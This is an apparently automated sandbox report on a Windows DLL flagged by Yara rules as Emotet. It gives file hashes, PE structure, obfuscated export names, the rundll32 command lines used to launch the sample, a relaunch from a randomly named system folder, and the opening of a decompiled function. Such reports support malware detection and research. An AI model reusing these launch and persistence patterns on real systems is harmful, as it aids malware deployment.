Preview:	MDMP....... .......!2.a............4...............H.......$...........................`.......8...........T...........h....[...........................................................................................U...........B......p.......GenuineIntelW...........T.......\|...z1.a4............................0..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF90.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8342
Entropy (8bit):	3.6998766295075085
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNi/w6yBA6YFrSUIogmfsSznCpBN89bjZsfnhm:RrlsNio6r6YpSUIogmfsSzXjyfc
MD5:	6FF22358E066039C4E5F9D652B81942B
SHA1:	0CC99443BF6C6A1C36A9DE208E077B759FAAA2CA
SHA-256:	97AA98F872A9592C2687DBAE180859D4D54891CACF80F4494D8FFAAD5FC2F4C6
SHA-512:	B94048F34EC84C49044F17F4C17EB4CFA0E79400B99E9E85EF18268B53C8188B962E1EB3F3CB91E8CF7CEF44F47D1E855448EF8D7460AAC6EA08135EAC18B208
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.5.2.4.<./.P.i.d.>.......

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\appcompat\Programs\Amcache.hve Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1572864
Entropy (8bit):	4.272985782131946
Encrypted:	false
SSDEEP:	12288:a3OEDNLIT7EuGX8LKyVySY9jugewol3v1TmymCBrDca+XrpsQRiu0:GOEDNLIT7EuGX8Gv
MD5:	54185C71541C66EA07E6DDE84B4C437A
SHA1:	61BBAC5E98BDC0CB940804F0D6A8CB468B9ABD78
SHA-256:	07303B5CD2B6D05BC20136A5846EBE6CFD2E6850ED441124179D1C4ECD241419
SHA-512:	48085F353E3430961FF9CC8A9E57AFDA948B3631E6C6ECA8F5DDD6EC49DF8FBEFA579B7C6EDF19CC2EA3C3948241285524050B4DD07CD6E37666404943758E5E
Malicious:	false
Preview:	regfZ...Z...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtm.]7.%...............................................................................................................................................................................................................................................................................................................................................k.3.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve.LOG1 Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	3.3978501417394353
Encrypted:	false
SSDEEP:	192:IZXfi1dkpA0sfYK5FSEsWftx12xgoJ4XBaJNSdkyFn6yvRrsf9WfYjdsiDoXzCH:+ve5Rftx12PJ4XB7FFn7eZd1DoXzCH
MD5:	43A63F75192D7286A2D714CB22AA13E3
SHA1:	2E59B86D1E7967E0B713CAE9B65EBD9897CC506F
SHA-256:	2EE75911842651EE3E0492EA94DB6A7391AC8F7DA2DAC9AF8E5E8E89F2FF6EAF
SHA-512:	CBB8698D79385AE8609DB7FE6EFDF845E652075A34C95AFABE69E111B5400404817A8BED9BCC4CA6BF1D5FB2D707E99AAA75355D3D79589CFC6E5521D668A187
Malicious:	false
Preview:	regfY...Y...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtm.]7.%...............................................................................................................................................................................................................................................................................................................................................m.3.HvLE.>......Y.............a1I?c.>.....3.........0..............hbin................p.\..,..........nk,.K.9.%.......0........................... ...........................&...{ad79c032-a2ea-f756-e377-72fb9332c3ae}......nk .K.9.%....... ........................... .......Z.......................Root........lf......Root....nk .K.9.%....................}.............. ...............*...............DeviceCensus.......................vk..................WritePermissionsCheck.......p...

Static File Info

General
File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.970959661903669
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	mal.dll
File size:	387072
MD5:	9efbd03d5576686dd9f0678c09abe9fc
SHA1:	0b821e78137018bbf3f9c67d3b049e33d5b36ae5
SHA256:	972f9350219dcc2df463f923ec5b559f4ab69f083da9ccbd0976c51bc19f3f5b
SHA512:	fa2def2a793d79b63cf2c808c62e031544282bc3e01f97efa47b3114c702b004d767b818764f47c120007c680274ad9327587ac235186ee6e6d7bb168a19acc9
SSDEEP:	6144:zBYrPMTsY8GR3j4fubnY6Zs/Bv6yM6aSTsfA2qL6jpXNcc6CEteuQJPIgtlpZ5L:yhmT4GbnYks/BJNWo2LjpScDEteuOIoZ
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........0...Q...Q...Q..E#...Q..E#...Q..E#...Q../$...Q...$...Q...$...Q...$...Q..E#...Q...Q...Q...Q...Q../$...Q../$...Q..Rich.Q.........

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General
Entrypoint:	0x1001cac1
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, DLL, LARGE_ADDRESS_AWARE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x61A73B52 [Wed Dec 1 09:07:30 2021 UTC]
TLS Callbacks:	0x1000c340
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	609402ef170a35cc0e660d7d95ac10ce

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
cmp dword ptr [ebp+0Ch], 01h
jne 00007FEB38C278C7h
call 00007FEB38C27C58h
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+08h]
call 00007FEB38C27773h
add esp, 0Ch
pop ebp
retn 000Ch
push ebp
mov ebp, esp
push dword ptr [ebp+08h]
call 00007FEB38C2816Eh
pop ecx
pop ebp
ret
push ebp
mov ebp, esp
jmp 00007FEB38C278CFh
push dword ptr [ebp+08h]
call 00007FEB38C2BC54h
pop ecx
test eax, eax
je 00007FEB38C278D1h
push dword ptr [ebp+08h]
call 00007FEB38C2BCD0h
pop ecx
test eax, eax
je 00007FEB38C278A8h
pop ebp
ret
cmp dword ptr [ebp+08h], FFFFFFFFh
je 00007FEB38C28233h
jmp 00007FEB38C28210h
push ebp
mov ebp, esp
push 00000000h
call dword ptr [1002A08Ch]
push dword ptr [ebp+08h]
call dword ptr [1002A088h]
push C0000409h
call dword ptr [1002A040h]
push eax
call dword ptr [1002A090h]
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 00000324h
push 00000017h
call dword ptr [1002A094h]
test eax, eax
je 00007FEB38C278C7h
push 00000002h
pop ecx
int 29h
mov dword ptr [1005E278h], eax
mov dword ptr [1005E274h], ecx
mov dword ptr [1005E270h], edx
mov dword ptr [1005E26Ch], ebx
mov dword ptr [1005E268h], esi
mov dword ptr [1005E264h], edi
mov word ptr [eax], es

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x5b590	0x614	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5bba4	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x60000	0x1bc0	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x5a1dc	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x5a300	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x5a230	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2a000	0x154	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x28bb4	0x28c00	False	0.53924822661	data	6.1540438823	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x2a000	0x32362	0x32400	False	0.817800645211	data	7.40644078277	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x5d000	0x1ba4	0x1200	False	0.287109375	data	2.60484752417	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.pdata	0x5f000	0x4c4	0x600	False	0.360677083333	AmigaOS bitmap font	2.17228109861	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.reloc	0x60000	0x1bc0	0x1c00	False	0.7880859375	data	6.62631718459	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL

Import

KERNEL32.dll

HeapFree, HeapReAlloc, GetProcessHeap, HeapAlloc, GetModuleHandleA, GetProcAddress, TlsGetValue, TlsSetValue, AcquireSRWLockExclusive, ReleaseSRWLockExclusive, AcquireSRWLockShared, ReleaseSRWLockShared, SetLastError, GetEnvironmentVariableW, GetLastError, GetCurrentDirectoryW, GetCurrentProcess, GetCurrentThread, RtlCaptureContext, ReleaseMutex, WaitForSingleObjectEx, LoadLibraryA, CreateMutexA, CloseHandle, GetStdHandle, GetConsoleMode, WriteFile, WriteConsoleW, TlsAlloc, GetCommandLineW, CreateFileA, GetTickCount64, CreateFileW, SetFilePointerEx, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, RaiseException, RtlUnwind, InterlockedFlushSList, EncodePointer, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsFree, FreeLibrary, LoadLibraryExW, ExitProcess, GetModuleHandleExW, GetModuleFileNameW, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, GetCommandLineA, MultiByteToWideChar, WideCharToMultiByte, GetEnvironmentStringsW, FreeEnvironmentStringsW, LCMapStringW, GetFileType, GetStringTypeW, HeapSize, SetStdHandle, FlushFileBuffers, GetConsoleOutputCP, DecodePointer

USER32.dll

GetDC, ReleaseDC, GetWindowRect

Exports

Name	Ordinal	Address
Control_RunDLL	1	0x100010a0
axamexdrqyrgb	2	0x100017b0
bhramccfbdd	3	0x10001690
bptyjtyr	4	0x10001640
bxoqrnuua	5	0x100016c0
cegjceivzmgdcffk	6	0x100014e0
cgxpyqfkocm	7	0x10001480
chjbtsnqmvl	8	0x10001540
crfsijq	9	0x10001730
empxfws	10	0x10001590
fbgcvvbrlowsjsj	11	0x10001550
fjhmprw	12	0x10001660
gfqdajfucnxrv	13	0x10001850
hcloldazhuvj	14	0x10001790
idcumrbybo	15	0x10001500
ihvpwdsfllpvrzy	16	0x10001750
iuzqizpdhxqkmf	17	0x100014c0
jaarlqsruhrwpipt	18	0x100016e0
jndshbhgxdkvvtj	19	0x10001600
jniijdleqsyajeis	20	0x10001650
jtjqgma	21	0x100016f0
kffxtbzhfgbqlu	22	0x10001630
kwxkzdhqe	23	0x100016d0
lidhnvsukgiuabh	24	0x100016b0
ltcrkednwfkup	25	0x10001820
lvrmqgtvhsegpbvmq	26	0x10001770
mxvwvnerswyylp	27	0x10001520
ndlmbjceavqdintmv	28	0x100017d0
nvnriipkwrmxwsu	29	0x10001510
oafxfavxmi	30	0x10001570
ocwutlohg	31	0x100014b0
olcklbdvo	32	0x10001680
pawvqfmiz	33	0x100015e0
pdmomnjmmryopqza	34	0x10001560
plzkvjcbz	35	0x10001710
poasqvltrkgvepng	36	0x10001840
psjoyjhsrkg	37	0x100015b0
qdimtzieldbl	38	0x10001620
qzvngjfyuxpjag	39	0x10001580
relsounb	40	0x100016a0
rykebhcisi	41	0x10001670
snrvgvzpjh	42	0x100017c0
sqnfcfmocgbg	43	0x10001740
sxgllzweihxqxi	44	0x10001760
tgagxhhcfj	45	0x10001780
thjyvtvttwpah	46	0x10001830
uvypobslemtipv	47	0x10001640
vgidwtjsbwpxkdxj	48	0x100017a0
wahhdker	49	0x100014a0
wamqmispvbxt	50	0x100015f0
witvsjavqyw	51	0x10001720
wopabadcwdizvwlgk	52	0x10001490
wpzyecljz	53	0x10001800
wukgfirfwilhu	54	0x100015d0
xntbmrrxs	55	0x100017f0
xsxwxreryufxwuhh	56	0x10001700
xvgdevijtw	57	0x10001610
ydvqidso	58	0x100015c0
yggdjrsewuw	59	0x100015a0
zaeqdmhaky	60	0x100017e0
zakvwkjnk	61	0x10001700
zqbggkzy	62	0x100014f0
zqtdpertk	63	0x100014d0
zshfybkvzv	64	0x10001810
zxxopqyvfoesyhmup	65	0x10001530

Network Behavior

No network behavior found

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exe PID: 6524 Parent PID: 956

General

Start time:	18:37:46
Start date:	01/12/2021
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe "C:\Users\user\Desktop\mal.dll"
Imagebase:	0x10c0000
File size:	893440 bytes
MD5 hash:	72FCD8FB0ADC38ED9050569AD673650E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000000.650731221.0000000000C3C000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000000.649143533.00000000007B0000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000000.676710015.0000000000C3C000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000000.649539674.0000000000C3C000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000000.675954463.00000000007B0000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000000.678039015.0000000000C3C000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000000.677709015.00000000007B0000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000000.650535103.00000000007B0000.00000040.00000010.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 6552 Parent PID: 6524

General

Start time:	18:37:46
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\mal.dll",#1
Imagebase:	0xd80000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 1324 Parent PID: 6524

General

Start time:	18:37:47
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\mal.dll,Control_RunDLL
Imagebase:	0x2f0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000003.00000003.607531187.0000000002F59000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 1432 Parent PID: 6552

General

Start time:	18:37:47
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\mal.dll",#1
Imagebase:	0x2f0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.646384056.000000000291A000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.646347873.0000000002780000.00000040.00000010.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 2132 Parent PID: 6524

General

Start time:	18:37:51
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\mal.dll,axamexdrqyrgb
Imagebase:	0x2f0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000006.00000002.639924880.0000000002DAA000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000006.00000002.639880819.0000000002C10000.00000040.00000010.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 5300 Parent PID: 6524

General

Start time:	18:37:59
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\mal.dll,bhramccfbdd
Imagebase:	0x2f0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000007.00000002.648863734.0000000002D60000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000007.00000002.648896656.0000000002EEA000.00000004.00000020.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 4932 Parent PID: 572

General

Start time:	18:39:26
Start date:	01/12/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 5784 Parent PID: 1432

General

Start time:	18:40:08
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\mal.dll",Control_RunDLL
Imagebase:	0x2f0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 6444 Parent PID: 1324

General

Start time:	18:40:11
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Jxqjexglbxuwcsnd\ncmurmkelbjyq.yqk",ewrKlpBownvGxgM
Imagebase:	0x2f0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 5304 Parent PID: 2132

General

Start time:	18:40:15
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\mal.dll",Control_RunDLL
Imagebase:	0x2f0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 5644 Parent PID: 5300

General

Start time:	18:40:27
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\mal.dll",Control_RunDLL
Imagebase:	0x2f0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 6964 Parent PID: 572

General

Start time:	18:40:27
Start date:	01/12/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: WerFault.exe PID: 6224 Parent PID: 6964

General

Start time:	18:40:28
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 6524 -ip 6524
Imagebase:	0xbc0000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: WerFault.exe PID: 5316 Parent PID: 6524

General

Start time:	18:40:30
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6524 -s 308
Imagebase:	0xbc0000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: WerFault.exe PID: 3732 Parent PID: 6964

General

Start time:	18:40:40
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 6524 -ip 6524
Imagebase:	0xbc0000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: WerFault.exe PID: 2804 Parent PID: 6524

General

Start time:	18:40:42
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6524 -s 344
Imagebase:	0xbc0000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: rundll32.exe PID: 1324 Parent PID: 6524 rundll32.exeCOMMON

Execution Graph

Execution Coverage:	6.1%
Dynamic/Decrypted Code Coverage:	53.3%
Signature Coverage:	30.7%
Total number of Nodes:	486
Total number of Limit Nodes:	49

Executed Functions

Function 029D91F7, Relevance: 32.4, Strings: 25, Instructions: 1116
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E029D91F7() {
				signed int _v8;
				char _v32;
				char _v40;
				signed int _v44;
				char _v52;
				signed int _v64;
				intOrPtr _v68;
				signed int _v72;
				signed int _v76;
				signed int _v88;
				char _v92;
				char _v100;
				char _v108;
				char _v112;
				char _v116;
				char _v120;
				char _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				unsigned int _v168;
				signed int _v172;
				unsigned int _v176;
				signed int _v180;
				signed int _v184;
				signed int _v188;
				signed int _v192;
				signed int _v196;
				signed int _v200;
				signed int _v204;
				signed int _v208;
				signed int _v212;
				signed int _v216;
				signed int _v220;
				signed int _v224;
				signed int _v228;
				signed int _v232;
				signed int _v236;
				signed int _v240;
				signed int _v244;
				signed int _v248;
				signed int _v252;
				signed int _v256;
				signed int _v260;
				signed int _v264;
				signed int _v268;
				signed int _v272;
				signed int _v276;
				signed int _v280;
				signed int _v284;
				unsigned int _v288;
				signed int _v292;
				signed int _v296;
				signed int _v300;
				signed int _v304;
				unsigned int _v308;
				signed int _v312;
				signed int _v316;
				signed int _v320;
				signed int _v324;
				signed int _v328;
				signed int _v332;
				signed int _v336;
				signed int _v340;
				signed int _v344;
				signed int _v348;
				signed int _v352;
				signed int _v356;
				signed int _v360;
				signed int _v364;
				signed int _v368;
				signed int _v372;
				signed int _v376;
				signed int _v380;
				signed int _v384;
				signed int _v388;
				signed int _v392;
				signed int _v396;
				signed int _v400;
				signed int _v404;
				unsigned int _v408;
				signed int _v412;
				signed int _v416;
				signed int _v420;
				signed int _v424;
				signed int _v428;
				signed int _v432;
				signed int _v436;
				signed int _v440;
				signed int _v444;
				signed int _v448;
				signed int _v452;
				signed int _v456;
				signed int _v460;
				signed int _v464;
				unsigned int _v468;
				signed int _v472;
				unsigned int _v476;
				signed int _v480;
